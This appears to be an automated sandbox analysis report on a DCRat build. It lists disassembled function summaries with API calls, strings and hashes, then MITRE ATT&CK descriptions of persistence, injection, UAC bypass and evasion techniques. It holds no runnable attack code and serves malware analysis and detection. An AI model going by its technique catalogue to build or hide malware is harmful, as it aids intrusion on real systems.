Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: 50341c1e121bd6f5d5b78c5b3ee2afe6a0478775b34c66270a9efbcfed992c13
Instruction ID: af008df4065394f03f96b60084878cab543dfe27bfd153c0d478577f7e6c7a59
Opcode Fuzzy Hash: 50341c1e121bd6f5d5b78c5b3ee2afe6a0478775b34c66270a9efbcfed992c13
Instruction Fuzzy Hash: 09C04C268046C0D41CD13AB3290E2BD3B081DA27D4B9224C6FA80171C3FF0E070AB433

Function 00FD9F5D Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 00FD9DF1: GetDC.USER32(00000000), ref: 00FD9DF5
Part of subcall function 00FD9DF1: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00FD9E00
Part of subcall function 00FD9DF1: ReleaseDC.USER32(00000000,00000000), ref: 00FD9E0B

GetObjectW.GDI32(?,00000018,?), ref: 00FD9F8D

Part of subcall function 00FDA1E5: GetDC.USER32(00000000), ref: 00FDA1EE
Part of subcall function 00FDA1E5: GetObjectW.GDI32(?,00000018,?), ref: 00FDA21D
Part of subcall function 00FDA1E5: ReleaseDC.USER32(00000000,?), ref: 00FDA2B5

Strings

(, xrefs: 00FDA0A3

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: c91a9ccaacce8c3f059c5ee387db3131905e3578b2f936184b0093027eada2d7
Instruction ID: 7ed9cb947fc24544e7fda2bd65f0734007a6325ad4d11f8b717d7bd429b3f497
Opcode Fuzzy Hash: c91a9ccaacce8c3f059c5ee387db3131905e3578b2f936184b0093027eada2d7
Instruction Fuzzy Hash: 918116716083189FC714DF68C844A2ABBEAFF88704F04491EF98AD7260DB75AD05EB52

Function 00FD0E37 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00FD0FF1

Strings

%s: %s, xrefs: 00FD1000
%ls, xrefs: 00FD0E76, 00FD0E8C

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: 508b0cfdebf679d06fa79a1ebe29008c2304402856fda874483fa9f741f01fcd
Instruction ID: aa6a6c2483db282b880bc0ed369a5591aa0732703b652e96abc4d667289e8352
Opcode Fuzzy Hash: 508b0cfdebf679d06fa79a1ebe29008c2304402856fda874483fa9f741f01fcd
Instruction Fuzzy Hash: FA51C73368C700F9EA212BA4DD07F3A7757FB08B00F2C4917B39B646E5CEA25490B616

Function 00FEA918 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00FEAA84

Part of subcall function 00FE8849: IsProcessorFeaturePresent.KERNEL32(00000017,00FE8838,00000050,00FF3958,?,00FCCFE0,00000004,01000EE8,?,?,00FE8845,00000000,00000000,00000000,00000000,00000000), ref: 00FE884B
Part of subcall function 00FE8849: GetCurrentProcess.KERNEL32(C0000417,00FF3958,00000050,01000EE8), ref: 00FE886D
Part of subcall function 00FE8849: TerminateProcess.KERNEL32(00000000), ref: 00FE8874

Strings

*?, xrefs: 00FEA95B
., xrefs: 00FEAC3B

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_free
String ID: *?$.
API String ID: 2667617558-3972193922
Opcode ID: 46d45437bf881060891f947650aec9d3ba4d76883fc361421d2bb44ca5e48db8
Instruction ID: e4fb5ed10de5a8d3330f1444cd2f4fe472535464b03817b7c02249a781496ea1
Opcode Fuzzy Hash: 46d45437bf881060891f947650aec9d3ba4d76883fc361421d2bb44ca5e48db8
Instruction Fuzzy Hash: E551D171E0024AEFDF14DFAACC81AADB7B5EF58310F248069E854E7341E635AE01DB51

Function 00FC772B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138timeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00FC7730
SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00FC78CC

Part of subcall function 00FCA444: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00FCA27A,?,?,?,00FCA113,?,00000001,00000000,?,?), ref: 00FCA458
Part of subcall function 00FCA444: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00FCA27A,?,?,?,00FCA113,?,00000001,00000000,?,?), ref: 00FCA489

Strings

:, xrefs: 00FC77A1

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: File$Attributes$H_prologTime
String ID: :
API String ID: 1861295151-336475711
Opcode ID: 3217387a5f1ea8caae2d5bdad5a8f9004f5505d14d14f9a8ecbfc6cc3f0cd4f3
Instruction ID: 5f1578ce25dc47656454571c2d261ac0eb7a39ab5408ee95fc8d5ee46ae850f5
Opcode Fuzzy Hash: 3217387a5f1ea8caae2d5bdad5a8f9004f5505d14d14f9a8ecbfc6cc3f0cd4f3
Instruction Fuzzy Hash: 7341657180425DAADB25EB50DE5AFEEB37DAF45300F00409EB605A3092DB785F48EF61

Function 00FCB66C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130COMMON

Download Yara Rule

Strings

\\?\, xrefs: 00FCB6BE, 00FCB6FA, 00FCB75B, 00FCB7AE
UNC, xrefs: 00FCB708

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID:
String ID: UNC$\\?\
API String ID: 0-253988292
Opcode ID: 84e5343c3655ec66a55bd5cecd9d0cbc9d20dee7eacb87c73737d255a90e7ce2
Instruction ID: 93df49a857d0b090f766bfffa0d36a42908abe86b674d616f6c047c5868a0ec1
Opcode Fuzzy Hash: 84e5343c3655ec66a55bd5cecd9d0cbc9d20dee7eacb87c73737d255a90e7ce2
Instruction Fuzzy Hash: 1641803980025BAACF20AF21DE47FEB77ADAF453A0F104069FC14A7162D778DA54F660

Function 00FD8FB6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00FD8FC4

Strings

about:blank, xrefs: 00FD9082
Shell.Explorer, xrefs: 00FD8FEF

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID:
String ID: Shell.Explorer$about:blank
API String ID: 0-874089819
Opcode ID: 4c84e7ee9a988ceab10c9d57ec8e5731d192073eccfdf878d66c78f4f182c401
Instruction ID: 93f00eaf21fd1b10d8d67fc8a38d38add52f9d9440250ee706d8cf6d618ca45c
Opcode Fuzzy Hash: 4c84e7ee9a988ceab10c9d57ec8e5731d192073eccfdf878d66c78f4f182c401
Instruction Fuzzy Hash: 472193716083049FCB04DFA4DC95A2A77AAFF44721B18845EF9098B382DBB4EC01EB60

Function 00FCEBF2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 00FCEB73: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00FCEB92
Part of subcall function 00FCEB73: GetProcAddress.KERNEL32(010081C0,CryptUnprotectMemory), ref: 00FCEBA2

GetCurrentProcessId.KERNEL32(?,?,?,00FCEBEC), ref: 00FCEC84

Strings

CryptProtectMemory failed, xrefs: 00FCEC3B
CryptUnprotectMemory failed, xrefs: 00FCEC7C

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: 3b84b2eaa819560b2216a305c02df1f1a5b25d7cfb1900350633cc18aaac4e84
Instruction ID: e68445f3d838ff532a2a3ebd19b309d8f16e4c92f0a9f29dfb8a26ea9f98db3f
Opcode Fuzzy Hash: 3b84b2eaa819560b2216a305c02df1f1a5b25d7cfb1900350633cc18aaac4e84
Instruction Fuzzy Hash: FC110632E0562A5BDB25DB24DE47FBE3718AF04720B04801EF8456B285CB799E41F7D5

Function 00FD0889 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00010000,00FD09D0,?,00000000,00000000), ref: 00FD08AD
SetThreadPriority.KERNEL32(?,00000000), ref: 00FD08F4

Part of subcall function 00FC6E91: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00FC6EAF

Strings

CreateThread failed, xrefs: 00FD08B9

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: 1073e5b9c2819ca3ad99d5975a69c0652250dfbc5bc6705c2df9d29e8b4cb49d
Instruction ID: 1046913c80da2558b65b528b501501c105e1148ff51f85ae256ee2b9435f87de
Opcode Fuzzy Hash: 1073e5b9c2819ca3ad99d5975a69c0652250dfbc5bc6705c2df9d29e8b4cb49d
Instruction Fuzzy Hash: 8F01F9B53443066FE6206F54EC82FB67399EF40766F14003FF686962C4CEF1A840B665

Function 00FC130B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00FCDA98: _swprintf.LIBCMT ref: 00FCDABE
Part of subcall function 00FCDA98: _strlen.LIBCMT ref: 00FCDADF
Part of subcall function 00FCDA98: SetDlgItemTextW.USER32(?,00FFE154,?), ref: 00FCDB3F
Part of subcall function 00FCDA98: GetWindowRect.USER32(?,?), ref: 00FCDB79
Part of subcall function 00FCDA98: GetClientRect.USER32(?,?), ref: 00FCDB85

GetDlgItem.USER32(00000000,00003021), ref: 00FC134F
SetWindowTextW.USER32(00000000,00FF35B4), ref: 00FC1365

Strings

0, xrefs: 00FC130E

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: 0
API String ID: 2622349952-4108050209
Opcode ID: 34f079f71867594a92094a1674137f903036f5d316be21a1836545b92464fc61
Instruction ID: 47b5650303bac262994e00bb7f34d30327e9e8ae897842b5875707d9520cea41
Opcode Fuzzy Hash: 34f079f71867594a92094a1674137f903036f5d316be21a1836545b92464fc61
Instruction Fuzzy Hash: ACF086305002CD66DF250E60CB0AFA93B58BB61359F084018FD8594692C779C969BB50

Function 00FD084E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00FD0A78,?), ref: 00FD0854
GetLastError.KERNEL32(?), ref: 00FD0860

Part of subcall function 00FC6E91: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00FC6EAF

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00FD0869

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: 86bc69855f79bed386fc1a7eee0f04ad2f67f7b3b6967e1e284410d04a4f2aef
Instruction ID: 34a911e026658c213ddfa7ffdf0bdff121fb9eedba0cd5c50a4848b68862acd4
Opcode Fuzzy Hash: 86bc69855f79bed386fc1a7eee0f04ad2f67f7b3b6967e1e284410d04a4f2aef
Instruction Fuzzy Hash: 9CD05E7190C42226DA012728AC0AFBF7A099F52771F64071EF239A52F9DE250951B2DA

Function 00FCDA4E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00FCD32F,?), ref: 00FCDA53
FindResourceW.KERNEL32(00000000,RTL,00000005,?,00FCD32F,?), ref: 00FCDA61

Strings

RTL, xrefs: 00FCDA5B

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: ac412766f7e472ad2ec1c4dbc65113a9501a0c9f0fd1ba9f6af087c22412ae75
Instruction ID: 1dbfdf55444ec32a9c5d0762fc53778ccce4440f3fed9377d03b9a4d59f06bb2
Opcode Fuzzy Hash: ac412766f7e472ad2ec1c4dbc65113a9501a0c9f0fd1ba9f6af087c22412ae75
Instruction Fuzzy Hash: F4C0123168535476D73017206D0DB67394C5F10F15F05045DB241DA1D0D9E6C941D654

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
